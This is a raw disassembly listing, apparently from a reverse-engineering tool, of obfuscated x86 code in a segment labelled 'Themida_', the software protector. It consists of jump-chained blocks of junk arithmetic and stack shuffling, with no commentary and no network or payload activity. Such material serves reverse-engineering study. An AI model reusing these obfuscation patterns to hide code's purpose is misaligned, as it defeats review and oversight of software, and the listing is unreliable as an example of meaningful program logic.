shr eax, 6
shl eax, 7
add eax, 0DC731707h
and ebx, eax
pop eax
inc ebx
xor ebx, 34EB182Dh
shl ebx, 4
not ebx
jmp loc_59D781
; ---------------------------------------------------------------------------
loc_599915: ; CODE XREF: Themida_:005AF20Aj
sub esi, 7DC51205h
pop eax
xchg esi, [esp]
mov esp, [esp]
rol byte ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59992B: ; CODE XREF: Themida_:005A688Aj
or esi, 5E947282h
jmp loc_5A0CB7
; ---------------------------------------------------------------------------
loc_599936: ; CODE XREF: Themida_:005A904Fj
not edx
not edx
jmp loc_5A86A3
; ---------------------------------------------------------------------------
loc_59993F: ; CODE XREF: Themida_:0059D953j
jmp loc_59F33A
; ---------------------------------------------------------------------------
loc_599944: ; CODE XREF: Themida_:005A8D17j
add ebx, edi
pop edi
jmp loc_5A1BF6
; ---------------------------------------------------------------------------
loc_59994C: ; CODE XREF: Themida_:005AE093j
sub eax, 39C513D1h
mov edx, [esp]
add esp, 4
add eax, ebx
sub eax, 30EF2EA4h
mov ebx, [esp]
push esi
push 7775h
jmp loc_5A256D
; ---------------------------------------------------------------------------
loc_59996F: ; CODE XREF: Themida_:005994E8j
; Themida_:005A0D15j
pop dword ptr [esp]
mov esp, [esp]
dec esi
push eax
jmp loc_5AE011
; ---------------------------------------------------------------------------
loc_59997C: ; CODE XREF: Themida_:005A551Fj
mov eax, 3E6E4D7Ah
add ebx, eax
pop eax
mov esi, [esp]
push ebx
mov ebx, esp
push esi
mov esi, 51C679DCh
or esi, 34E649FAh
shr esi, 1
xor esi, 3AF33CFBh
jmp loc_5A8819
; ---------------------------------------------------------------------------
loc_5999A3: ; CODE XREF: Themida_:0059A437j
; Themida_:005ADC87j
mov ebp, 5A3C47B2h
inc ebp
jmp loc_5989CB
; ---------------------------------------------------------------------------
loc_5999AE: ; CODE XREF: Themida_:005A16DFj
mov [esp], edx
jmp loc_59E1A9
; ---------------------------------------------------------------------------
loc_5999B6: ; CODE XREF: Themida_:005AD1BAj
add esi, ebp
pop ebp
push ecx
jmp loc_598F8D
; ---------------------------------------------------------------------------
loc_5999BF: ; CODE XREF: Themida_:0059BFD0j
; Themida_:005A777Fj
pop esi
push eax
push ecx
push edi
mov edi, 38A76FB4h
mov ecx, 29EC0565h
add ecx, edi
pop edi
jmp loc_59E01E
; ---------------------------------------------------------------------------
loc_5999D5: ; CODE XREF: Themida_:0059A429j
add ecx, 3D83D8B9h
mov ebx, ecx
jmp loc_59AA9B
; ---------------------------------------------------------------------------
loc_5999E2: ; CODE XREF: Themida_:loc_5A5EF1j
add esi, 0FFECFCB9h
add edi, 3D6F09B4h
sub edi, 682C4EAFh
add edi, esi
add edi, 682C4EAFh
push ecx
mov ecx, esp
push edi
jmp loc_5A5DA9
; ---------------------------------------------------------------------------
loc_599A05: ; CODE XREF: Themida_:005A6D82j
push 6DB3h
mov [esp], ebp
jmp loc_5AE507
; ---------------------------------------------------------------------------
loc_599A12: ; CODE XREF: Themida_:005AA69Ej
pop edi
mov esi, [esp]
push 3393h
mov [esp], ecx
push 1003h
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop ecx
jmp loc_59F7C5
; ---------------------------------------------------------------------------
loc_599A36: ; CODE XREF: Themida_:005A4EBEj
xchg edi, [esp]
pop esp
and ecx, eax
mov eax, [esp]
push eax
push esp
jmp loc_5A247D
; ---------------------------------------------------------------------------
loc_599A46: ; CODE XREF: Themida_:005A9944j
; Themida_:005AA1D2j
mov esp, [esp]
jmp loc_59BCAD
; ---------------------------------------------------------------------------
loc_599A4E: ; CODE XREF: Themida_:0059C23Fj
xor eax, ecx
jmp loc_5A41A7
; ---------------------------------------------------------------------------
loc_599A55: ; CODE XREF: Themida_:005A39EFj
pop ebp
jmp loc_59A8DE
; ---------------------------------------------------------------------------
loc_599A5B: ; CODE XREF: Themida_:005A1416j
push 3D45h
mov [esp], ecx
push eax
jmp loc_5A2490
; ---------------------------------------------------------------------------
loc_599A69: ; CODE XREF: Themida_:005A2CEFj
mov ecx, esp
add ecx, 4
jmp loc_5A1E6B
; ---------------------------------------------------------------------------
loc_599A76: ; CODE XREF: Themida_:005A2F7Aj
mov [esp], edx
mov edx, 6CC75BECh
mov eax, 57514418h
add eax, edx
jmp loc_5AE8F3
; ---------------------------------------------------------------------------
loc_599A8A: ; CODE XREF: Themida_:005AC170j
mov [esp], ebp
push 0A9Eh
mov [esp], ebx
mov ebx, 0FFFFFFFFh
jmp loc_59EFFC
; ---------------------------------------------------------------------------
loc_599A9F: ; CODE XREF: Themida_:005AB0F1j
add edi, 4
jmp loc_5AEFBE
; ---------------------------------------------------------------------------
loc_599AAA: ; CODE XREF: Themida_:005A4D29j
add edx, 20E55BADh
xor edx, 6D8D2129h
add edx, 7AA63BB5h
add edx, 0F85D7B11h
jmp loc_5AA6DB
; ---------------------------------------------------------------------------
loc_599AC7: ; CODE XREF: Themida_:005A75CAj
add ebp, 2601137h
pop ebx
push edx
mov edx, 0AC5ECFCDh
add ebp, 4204110Bh
add ebp, edx
sub ebp, 4204110Bh
mov edx, [esp]
jmp loc_59DF55
; ---------------------------------------------------------------------------
loc_599AEA: ; CODE XREF: Themida_:005AB864j
pop esp
cmp cl, al
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_599AF3: ; CODE XREF: Themida_:005ACC2Dj
add esp, 4
push ecx
mov ecx, 3AD129ABh
and ecx, 49F3DC8h
jns loc_5AC2C2
and ecx, 17FD4A97h
dec ecx
mov ecx, edi
mov edx, ebp
loc_599B16: ; CODE XREF: Themida_:005AB3CAj
pop eax
sub edx, 39F17F73h
pop esi
xchg edx, [esp]
jmp loc_59B406
; ---------------------------------------------------------------------------
loc_599B26: ; CODE XREF: Themida_:0059FA45j
sub esi, 0B10412Bh
push ebx
push edx
mov edx, 3B171B66h
add edx, 270B060Ch
mov ebx, edx
jmp loc_5A9486
; ---------------------------------------------------------------------------
loc_599B40: ; CODE XREF: Themida_:005ACB7Bj
push eax
mov eax, 1C4472A4h
sub ebx, eax
pop eax
sub ebx, 0CF32231Ch
mov edi, ebx
pop ebx
sub edi, 17256369h
neg edi
or edi, 5CD430E7h
jmp loc_5ACB39
; ---------------------------------------------------------------------------
loc_599B65: ; CODE XREF: Themida_:005ADDACj
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_5ABC7E
; ---------------------------------------------------------------------------
loc_599B76: ; CODE XREF: Themida_:005A0E98j
mov [esp], ecx
push ebp
mov ebp, 4EF552A3h
jmp loc_59CDD9
; ---------------------------------------------------------------------------
loc_599B84: ; CODE XREF: Themida_:005A15ACj
push 5070h
mov [esp], edx
mov edx, esp
push 78DDh
mov [esp], ebp
mov ebp, 4
add edx, ebp
pop ebp
jmp loc_5A4C27
; ---------------------------------------------------------------------------
loc_599BA3: ; CODE XREF: Themida_:005A46C7j
neg esi
sub esi, 0A86B85F9h
sub eax, esi
pop esi
jmp loc_5AEEE5
; ---------------------------------------------------------------------------
loc_599BB3: ; CODE XREF: Themida_:005A627Fj
xchg edi, [esp]
pop esp
xor eax, 324872BFh
push 41B8h
mov [esp], edi
push ebx
mov ebx, esp
push ecx
mov ecx, 59E5086h
inc ecx
add ecx, 0FA61AF7Dh
jmp loc_5A4E90
; ---------------------------------------------------------------------------
loc_599BD9: ; CODE XREF: Themida_:005AC9D1j
push edx
push 62871C60h
pop edx
jmp loc_5A0996
; ---------------------------------------------------------------------------
loc_599BE5: ; CODE XREF: Themida_:005AE75Fj
mov bl, cl
pop ecx
push dword ptr [esp]
pop edx
jmp loc_5A0344
; ---------------------------------------------------------------------------
loc_599BF1: ; DATA XREF: Themida_:00598718o
mov ax, [esp]
sub esp, 4
mov [esp], edx
push 3BDDh
mov [esp], esp
add dword ptr [esp], 4
pop edx
push ebp
mov ebp, 4
jmp loc_5ACEA4
; ---------------------------------------------------------------------------
loc_599C13: ; CODE XREF: Themida_:005A9327j
sub ebx, 36F11016h
add [esp+4], ebx
pop ebx
mov ebp, [esp]
add esp, 4
add ebp, 4
push esi
mov esi, 2
jmp loc_5A3C3F
; ---------------------------------------------------------------------------
loc_599C38: ; CODE XREF: Themida_:005ADF9Ej
pop esi
add esp, 4
mov edi, [esp]
jmp loc_59C955
; ---------------------------------------------------------------------------
loc_599C44: ; CODE XREF: Themida_:005A57F5j
mov [esp], esp
add dword ptr [esp], 4
mov ecx, [esp]
add esp, 4
push ebx
push esi
mov esi, 4
sub esp, 4
mov [esp], esi
mov ebx, [esp]
add esp, 4
pop esi
add ecx, 56CF7C47h
add ecx, 7BB20676h
add ecx, ebx
sub ecx, 7BB20676h
jmp loc_59D879
; ---------------------------------------------------------------------------
loc_599C84: ; CODE XREF: Themida_:005A3E62j
pop esp
mov [esp], cx
movzx cx, al
jmp loc_5A1DB8
; ---------------------------------------------------------------------------
loc_599C92: ; CODE XREF: Themida_:005A02E8j
pop dword ptr [esp]
mov esp, [esp]
shr byte ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_599CA1: ; CODE XREF: Themida_:0059EB83j
sub ebx, 105034D0h
jmp loc_59E894
; ---------------------------------------------------------------------------
loc_599CAC: ; CODE XREF: Themida_:0059B9F2j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
mov [esp], ebx
mov ebx, esp
sub esp, 4
mov [esp], eax
mov eax, 394A7EB2h
add eax, 0E74BA138h
push eax
add dword ptr [esp], 0FFFFFFFFh
jmp loc_59F86F
; ---------------------------------------------------------------------------
loc_599CDA: ; CODE XREF: Themida_:00598ED5j
mov esp, [esp]
mov [esp], eax
push esp
pop eax
push 596Ah
mov [esp], edx
jmp loc_5A6419
; ---------------------------------------------------------------------------
loc_599CEF: ; CODE XREF: Themida_:005A6197j
xor ecx, eax
pop eax
add edi, ecx
pop ecx
add edi, 4
xor edi, [esp]
jmp loc_5A52C4
; ---------------------------------------------------------------------------
loc_599D00: ; CODE XREF: Themida_:005A3CB2j
inc edi
push ebx
mov ebx, 25A02D37h
and edi, ebx
pop ebx
add edi, 5E4B01C4h
sub edx, edi
mov edi, [esp]
add esp, 4
jmp loc_5AD8C8
; ---------------------------------------------------------------------------
loc_599D1D: ; CODE XREF: Themida_:005A28FDj
shr bh, 8
push edx
mov dh, 6Dh
xor bh, dh
mov edx, [esp]
add esp, 4
xor dh, bh
pop ebx
not dh
jmp loc_5AD9DC
; ---------------------------------------------------------------------------
loc_599D35: ; CODE XREF: Themida_:005A2B32j
push edi
push 30F209ECh
jmp loc_5A9FBA
; ---------------------------------------------------------------------------
loc_599D40: ; CODE XREF: Themida_:loc_5AD509j
sub edx, 80627CB6h
jmp loc_5A5141
; ---------------------------------------------------------------------------
loc_599D4B: ; CODE XREF: Themida_:0059D26Bj
mov esi, esp
add esi, 4
add esi, 2
xchg esi, [esp]
mov esp, [esp]
jmp loc_5A1CAA
; ---------------------------------------------------------------------------
loc_599D64: ; CODE XREF: Themida_:0059FFF3j
sub edx, 0B9B10C40h
not edx
jmp loc_59D512
; ---------------------------------------------------------------------------
loc_599D71: ; CODE XREF: Themida_:005AEFE4j
mov [esp], ebp
jmp loc_59BB1A
; ---------------------------------------------------------------------------
loc_599D79: ; CODE XREF: Themida_:005AE530j
sub edx, 1
push 46E4h
mov [esp], ebx
push 528C635Fh
pop ebx
xor ebx, 388D0246h
sub edx, ebx
mov ebx, [esp]
push ecx
jmp loc_5A8EA8
; ---------------------------------------------------------------------------
loc_599D9B: ; CODE XREF: Themida_:0059BD3Cj
add byte ptr [esp], 28h
sub [esp], ch
sub byte ptr [esp], 28h
mov ch, [esp]
add esp, 4
xor ch, 0E2h
push ecx
dec byte ptr [esp+1]
not byte ptr [esp+1]
mov ecx, [esp]
add esp, 4
not ch
xor ch, 0DDh
jmp loc_59A630
; ---------------------------------------------------------------------------
loc_599DC8: ; CODE XREF: Themida_:005A2AF7j
mov edi, esp
add edi, 4
push ebp
mov ebp, 4
push edx
mov edx, 378805E5h
jmp loc_5AA20F
; ---------------------------------------------------------------------------
loc_599DE1: ; CODE XREF: Themida_:loc_5A6400j
shr edx, 3
jz loc_59BAE8
jmp loc_5A1FD2
; ---------------------------------------------------------------------------
loc_599DEF: ; CODE XREF: Themida_:0059FF83j
add dh, 0FBh
jmp loc_5A9054
; ---------------------------------------------------------------------------
loc_599DF7: ; CODE XREF: Themida_:005A6A86j
push 3817h
mov [esp], ebp
jmp loc_598E87
; ---------------------------------------------------------------------------
loc_599E04: ; CODE XREF: Themida_:005AEE88j
mov dh, 97h
or dh, 54h
shl dh, 8
and dh, 75h
jmp loc_5A09D5
; ---------------------------------------------------------------------------
loc_599E14: ; CODE XREF: Themida_:005AB9A7j
add edi, 6FC32EF2h
pop esi
push edi
inc dword ptr [esp]
pop edi
add edi, 17CD0083h
or esi, edi
pop edi
push ecx
mov ecx, 4C7A697Eh
shl ecx, 7
shl ecx, 8
sub ecx, 0B41A6FBBh
add esi, ecx
mov ecx, [esp]
add esp, 4
add edi, 391D1FE2h
add edi, esi
sub edi, 391D1FE2h
jmp loc_5AB23D
; ---------------------------------------------------------------------------
loc_599E59: ; CODE XREF: Themida_:005AA599j
pop edi
push 102Ch
mov [esp], eax
push 2F9Ah
mov [esp], esp
add dword ptr [esp], 4
pop eax
push edx
mov edx, 4
jmp loc_5A4003
; ---------------------------------------------------------------------------
loc_599E7D: ; CODE XREF: Themida_:0059E7DDj
and [edi+1Ch], esi
mov esi, [esp]
push 3E98h
jmp loc_59EEED
; ---------------------------------------------------------------------------
loc_599E8D: ; CODE XREF: Themida_:005A9C36j
push ebp
mov ebp, 61F41D3Eh
mov edx, 61F41D3Ah
xor edx, ebp
jmp loc_5AA27A
; ---------------------------------------------------------------------------
loc_599E9F: ; CODE XREF: Themida_:loc_59E894j
add ebx, 553A6340h
jmp loc_5A3640
; ---------------------------------------------------------------------------
loc_599EAA: ; CODE XREF: Themida_:005A9931j
push dword ptr [esp]
jmp loc_5A4410
; ---------------------------------------------------------------------------
loc_599EB2: ; CODE XREF: Themida_:0059E285j
pop edx
pop ebp
push ebp
mov ebp, 593B4DCFh
jmp loc_5AE794
; ---------------------------------------------------------------------------
loc_599EBF: ; CODE XREF: Themida_:005ACBD8j
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
jmp loc_5A6B89
; ---------------------------------------------------------------------------
loc_599ED8: ; CODE XREF: Themida_:005AAC45j
mov ecx, [esp]
add esp, 4
or eax, eax
jz loc_5A40FB
push dword ptr [edi+1Ch]
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
push ebx
mov ebx, esp
push ebp
mov ebp, 72A07D7Bh
sub ebp, 60396EA4h
or ebp, 3BC55570h
not ebp
push 5B5Ah
mov [esp], eax
jmp loc_5A2F75
; ---------------------------------------------------------------------------
loc_599F1A: ; CODE XREF: Themida_:0059C7E1j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5AC47F
; ---------------------------------------------------------------------------
loc_599F25: ; CODE XREF: Themida_:0059E0BFj
pop esi
shr ebx, 2
jns loc_5A144D
xor ebx, 6F7C8B28h
push ebx
jmp loc_59C6C8
; ---------------------------------------------------------------------------
mov bh, 4
loc_599F3D: ; CODE XREF: Themida_:005A0397j
mov esi, [esp]
add esp, 4
add esp, 4
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_599F4B: ; CODE XREF: Themida_:loc_5A9CC4j
or edi, 438336Ch
jb loc_5A9229
add edi, 77A2EF1h
sub edi, 66B26EECh
sub esi, 35D90DABh
sub esi, edi
add esi, 35D90DABh
pop edi
xchg esi, [esp]
jmp loc_59B133
; ---------------------------------------------------------------------------
loc_599F7A: ; CODE XREF: Themida_:005A85C6j
add [esp], eax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_599F83: ; CODE XREF: Themida_:005AE259j
sub esp, 4
mov [esp], esi
push eax
push 593D3882h
push dword ptr [esp]
pop eax
add esp, 4
push ebx
push esi
sub esp, 4
mov [esp], eax
push 0D4508F2h
pop eax
push edx
jmp loc_5ABC3C
; ---------------------------------------------------------------------------
loc_599FB0: ; CODE XREF: Themida_:005A3B4Dj
add eax, ecx
pop ecx
jmp loc_5A6126
; ---------------------------------------------------------------------------
loc_599FB8: ; CODE XREF: Themida_:005A97CBj
sub ecx, 0B74A92D7h
mov esi, ecx
pop ecx
or esi, 54805878h
add esi, 0AA76A50Bh
jmp loc_5AAD0B
; ---------------------------------------------------------------------------
loc_599FD2: ; CODE XREF: Themida_:005A72F9j
push edx
mov dh, 3Ah
push ecx
jmp loc_5A636D
; ---------------------------------------------------------------------------
loc_599FDB: ; CODE XREF: Themida_:0059C312j
add esp, 4
push ebp
mov ebp, esp
push edi
mov edi, esp
add edi, 4
jmp loc_5AC8B9
; ---------------------------------------------------------------------------
loc_599FF2: ; CODE XREF: Themida_:005A7669j
inc eax
jmp loc_59DDEB
; ---------------------------------------------------------------------------
loc_599FF8: ; CODE XREF: Themida_:0059F628j
mov bh, ah
pop eax
push eax
mov ah, bh
mov cl, ah
mov eax, [esp]
push edx
jmp loc_59D838
; ---------------------------------------------------------------------------
loc_59A009: ; CODE XREF: Themida_:005A987Fj
push esi
jmp loc_5ACE79
; ---------------------------------------------------------------------------
loc_59A00F: ; CODE XREF: Themida_:005A7EC8j
add eax, 75C842E6h
jp loc_5A1EDB
jmp loc_5A26C6
; ---------------------------------------------------------------------------
loc_59A01F: ; CODE XREF: Themida_:005AA9D6j
add ebx, 4
jmp loc_5AFAA5
; ---------------------------------------------------------------------------
loc_59A02A: ; CODE XREF: Themida_:005AEE79j
sub edi, 3B1C27E7h
mov ecx, [esp]
add esp, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_5A16DE
; ---------------------------------------------------------------------------
loc_59A044: ; CODE XREF: Themida_:0059CEE6j
mov dl, al
jmp loc_5AB7DE
; ---------------------------------------------------------------------------
loc_59A04B: ; CODE XREF: Themida_:005A5BB9j
push esi
not dword ptr [esp]
pop esi
jmp loc_5A8F28
; ---------------------------------------------------------------------------
loc_59A055: ; CODE XREF: Themida_:005A9923j
pop eax
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5ADD73
; ---------------------------------------------------------------------------
loc_59A067: ; CODE XREF: Themida_:0059B028j
not dword ptr [esp]
pop edi
jmp loc_59FDFC
; ---------------------------------------------------------------------------
loc_59A070: ; CODE XREF: Themida_:005A7A25j
pop edi
push ebp
mov ebp, 4
add eax, ebp
pop ebp
xchg eax, [esp]
pop esp
sub esp, 4
jmp loc_5A9C8F
; ---------------------------------------------------------------------------
loc_59A089: ; CODE XREF: Themida_:005A3E17j
not dword ptr [esp]
mov ebx, [esp]
add esp, 4
shl ebx, 6
neg ebx
jmp loc_5A853A
; ---------------------------------------------------------------------------
loc_59A09C: ; CODE XREF: Themida_:005AD122j
add esp, 4
sub edx, 69E947C5h
pop ecx
shl edx, 6
sub edx, 320A42B3h
jmp loc_5AD1CC
; ---------------------------------------------------------------------------
loc_59A0B7: ; CODE XREF: Themida_:0059B1B3j
; Themida_:005AB9EAj ...
push 69B5197Fh
pop edx
dec edx
sub edx, 1
add edx, 9E91EF91h
or ebx, edx
jmp loc_5AC622
; ---------------------------------------------------------------------------
loc_59A0CE: ; CODE XREF: Themida_:005A36ADj
; Themida_:005AF590j
pop ecx
jmp loc_59A5F9
; ---------------------------------------------------------------------------
loc_59A0D4: ; CODE XREF: Themida_:0059D46Bj
xchg edi, [esp]
pop esp
or eax, eax
jz loc_59B30E
push dword ptr [edi+1Ch]
push dword ptr [esp]
pop ecx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
push 20F9h
mov [esp], esp
push eax
jmp loc_5ABCF5
; ---------------------------------------------------------------------------
loc_59A108: ; CODE XREF: Themida_:005A4631j
; Themida_:005A678Bj
add ebx, 16815B24h
jmp loc_5AE700
; ---------------------------------------------------------------------------
loc_59A113: ; CODE XREF: Themida_:005AA317j
push ebx
mov ebx, esp
add ebx, 4
push edx
mov edx, 4
add ebx, edx
pop edx
xchg ebx, [esp]
pop esp
jmp loc_59F7D3
; ---------------------------------------------------------------------------
loc_59A12E: ; CODE XREF: Themida_:005A4F21j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59A133: ; DATA XREF: Themida_:0059870Co
mov cx, [esp]
push 21F9h
mov [esp], esi
push 58EBh
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
push ebx
push 4
jmp loc_5AD749
; ---------------------------------------------------------------------------
loc_59A160: ; CODE XREF: Themida_:0059911Dj
mov [esp], ebx
push edx
mov edx, 2A9607BFh
inc edx
jmp loc_59BF00
; ---------------------------------------------------------------------------
loc_59A16F: ; CODE XREF: Themida_:0059A932j
shl edi, 1
jmp loc_5A67A3
; ---------------------------------------------------------------------------
loc_59A176: ; CODE XREF: Themida_:loc_5AC8AFj
dec edx
xor edx, 77797FCAh
jmp loc_5A4136
; ---------------------------------------------------------------------------
loc_59A182: ; CODE XREF: Themida_:005A475Aj
mov esi, [esp]
add esp, 4
sub ecx, ebx
add ecx, 47EB48FFh
jmp loc_59E7CA
; ---------------------------------------------------------------------------
loc_59A195: ; CODE XREF: Themida_:005AC4FBj
add eax, 6B877C0Ah
add eax, esi
sub eax, 6B877C0Ah
jmp loc_59EA48
; ---------------------------------------------------------------------------
loc_59A1A6: ; CODE XREF: Themida_:0059BD79j
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59A1B9: ; CODE XREF: Themida_:0059A6C0j
add esi, 4
push edi
mov edi, 5F382ED8h
dec edi
jmp loc_5A9CC4
; ---------------------------------------------------------------------------
loc_59A1CB: ; CODE XREF: Themida_:005AB26Bj
push 2180h
mov [esp], eax
pop esi
jmp loc_59CD7A
; ---------------------------------------------------------------------------
loc_59A1D9: ; CODE XREF: Themida_:0059B42Cj
add eax, esi
pop esi
pop edi
pop ebx
push edx
mov edx, 6F05182Fh
push ecx
mov ecx, 62565FCFh
add edx, ecx
pop ecx
jmp loc_59CC08
; ---------------------------------------------------------------------------
loc_59A1F2: ; CODE XREF: Themida_:005A5668j
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5AB11B
; ---------------------------------------------------------------------------
loc_59A20C: ; CODE XREF: Themida_:005ADEFBj
push edx
mov dl, bl
mov al, dl
jmp loc_5AD9EB
; ---------------------------------------------------------------------------
dw 2489h
; ---------------------------------------------------------------------------
and al, 83h
add al, 24h
add al, 59h
jmp loc_59AD36
; ---------------------------------------------------------------------------
loc_59A223: ; CODE XREF: Themida_:00598B46j
xor di, cx
pop ecx
xor si, di
jmp loc_5A8AF1
; ---------------------------------------------------------------------------
loc_59A22F: ; CODE XREF: Themida_:005A07C3j
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_5A018C
; ---------------------------------------------------------------------------
loc_59A240: ; CODE XREF: Themida_:005A72BBj
pop ebp
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
and eax, ebx
pop ebx
push dword ptr [edi+1Ch]
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_5AF7E8
; ---------------------------------------------------------------------------
loc_59A265: ; CODE XREF: Themida_:00599827j
add ebx, esi
pop esi
jmp loc_5A0F1B
; ---------------------------------------------------------------------------
loc_59A26D: ; CODE XREF: Themida_:005997E7j
jb loc_5A3C11
add ebp, 10561CBEh
jbe loc_5A4DEA
shl ebp, 7
xor ebp, 0A3C750EDh
add ecx, ebp
pop ebp
jmp loc_59C09A
; ---------------------------------------------------------------------------
loc_59A290: ; CODE XREF: Themida_:005A2F9Dj
mov [esp], ebx
jmp loc_59AB08
; ---------------------------------------------------------------------------
loc_59A298: ; CODE XREF: Themida_:005A46FCj
sub esi, ecx
jmp loc_5A9F0A
; ---------------------------------------------------------------------------
loc_59A29F: ; CODE XREF: Themida_:005A7B51j
or esi, 3D783FDDh
jmp loc_5A0FAB
; ---------------------------------------------------------------------------
loc_59A2AA: ; CODE XREF: Themida_:005A1EC5j
; Themida_:005A565Bj ...
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edi
push eax
push edi
mov edi, 200CAC77h
mov eax, edi
pop edi
push eax
push esi
mov esi, 3EBD15A8h
sub [esp+4], esi
pop esi
pop edi
add edi, 3EBD15A8h
pop eax
jmp loc_59FCA5
; ---------------------------------------------------------------------------
loc_59A2E1: ; CODE XREF: Themida_:005A3B73j
sub ebp, 0D7A68956h
mov edx, ebp
jmp loc_598D8F
; ---------------------------------------------------------------------------
loc_59A2EE: ; CODE XREF: Themida_:0059D1E6j
add eax, 0BA033389h
mov ecx, eax
mov eax, [esp]
add esp, 4
xor ecx, 0BD84CE7Eh
xor ebx, ecx
pop ecx
jmp loc_59B78D
; ---------------------------------------------------------------------------
loc_59A30C: ; CODE XREF: Themida_:005A5C2Bj
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
bswap eax
push 7B71h
mov [esp], eax
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59A324: ; CODE XREF: Themida_:005A9364j
; Themida_:005AC56Cj
add esp, 4
push ecx
mov ecx, 0BBA6D61h
push ebx
mov ebx, 0C681264h
and ebx, 2CF1337Fh
and ebx, 72455ACAh
shr ebx, 2
sub ebx, 6E665016h
add ebx, 0D410A501h
or ecx, ebx
pop ebx
jmp loc_59B21D
; ---------------------------------------------------------------------------
loc_59A356: ; CODE XREF: Themida_:005A0893j
jnp loc_5A83E2
inc edi
jle loc_5A0272
xor edi, 4CB74890h
mov ecx, edi
loc_59A36B: ; CODE XREF: Themida_:005A4A17j
sub esi, edi
pop edi
add esi, 0CF80231h
mov ebp, esi
pop esi
inc ebp
jmp loc_5A3B9F
; ---------------------------------------------------------------------------
loc_59A37D: ; CODE XREF: Themida_:005A5619j
not ecx
jmp loc_59D51F
; ---------------------------------------------------------------------------
loc_59A384: ; CODE XREF: Themida_:005AED22j
add esi, 7A4B35CFh
pop edi
xchg esi, [esp]
mov esp, [esp]
or ecx, ecx
jz loc_5A8BB0
push 3D92h
jmp loc_5AD723
; ---------------------------------------------------------------------------
loc_59A3A3: ; CODE XREF: Themida_:0059C8E2j
mov [esp], ebp
mov ebp, 8236B23h
xor edi, ebp
pop ebp
add eax, 50ED2695h
jmp loc_5A1874
; ---------------------------------------------------------------------------
loc_59A3B8: ; CODE XREF: Themida_:005AC8C0j
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
jmp loc_5A98FF
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push esi
mov esi, 0DEAE3DBh
add eax, 140006C9h
push ecx
mov ecx, 3042F62h
jmp loc_59BBDD
; ---------------------------------------------------------------------------
loc_59A3DF: ; CODE XREF: Themida_:005A65C7j
pop edi
dec ecx
push ebp
jmp loc_598B7F
; ---------------------------------------------------------------------------
loc_59A3E7: ; CODE XREF: Themida_:0059AD83j
add ebx, 4
jmp loc_59AF8C
; ---------------------------------------------------------------------------
loc_59A3F2: ; CODE XREF: Themida_:005A7BD1j
add edi, edx
push dword ptr [esp]
mov edx, [esp]
push ebx
jmp loc_59EE6D
; ---------------------------------------------------------------------------
loc_59A400: ; CODE XREF: Themida_:0059C85Aj
shr eax, 3
push edi
jmp loc_5A80DF
; ---------------------------------------------------------------------------
loc_59A409: ; CODE XREF: Themida_:005A37D3j
sub eax, edx
pop edx
jmp loc_5A535E
; ---------------------------------------------------------------------------
loc_59A411: ; CODE XREF: Themida_:005AA443j
mov ecx, [esp]
jmp loc_5A12CF
; ---------------------------------------------------------------------------
loc_59A419: ; CODE XREF: Themida_:005AE6CBj
push 4028h
jmp loc_5A6B23
; ---------------------------------------------------------------------------
loc_59A423: ; CODE XREF: Themida_:0059F670j
or ecx, 21BA3513h
jns loc_5999D5
add ecx, 3D83D8B9h
mov ebx, ecx
jmp loc_5999A3
; ---------------------------------------------------------------------------
push ecx
push eax
push 13F8h
mov [esp], ecx
push 71E8h
mov [esp], ebx
push eax
mov al, dh
mov bh, al
mov eax, [esp]
add esp, 4
mov cl, bh
mov ebx, [esp]
add esp, 4
push edx
jmp loc_59AB84
; ---------------------------------------------------------------------------
loc_59A467: ; CODE XREF: Themida_:0059EEB6j
pop edx
xchg edi, edx
not edi
xor edx, edi
xor edi, edx
xor edx, edi
push ebx
push edx
mov ebx, [esp]
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
jmp loc_59BC8D
; ---------------------------------------------------------------------------
loc_59A48B: ; CODE XREF: Themida_:005A0768j
pop ecx
push ebp
push ecx
mov ecx, 5D7A7136h
mov ebp, ecx
pop ecx
sub ebp, 0E2926BC6h
or ebp, 78B4F0Dh
push esi
mov esi, 5CFF5529h
sub ebp, esi
jmp loc_5A207B
; ---------------------------------------------------------------------------
loc_59A4AF: ; CODE XREF: Themida_:loc_5AAEBCj
; Themida_:005AEA05j
mov [esp], edi
jmp loc_5A94A6
; ---------------------------------------------------------------------------
loc_59A4B7: ; CODE XREF: Themida_:005A8802j
mov ebx, 0CA30936h
shl ebx, 1
jmp loc_5A280F
; ---------------------------------------------------------------------------
loc_59A4C3: ; CODE XREF: Themida_:005A706Aj
mov edi, 74632082h
mov edx, 74632086h
xor edx, edi
pop edi
mov ecx, edx
pop edx
sub edx, 6519417Fh
add edx, ecx
push ebp
jmp loc_598F3C
; ---------------------------------------------------------------------------
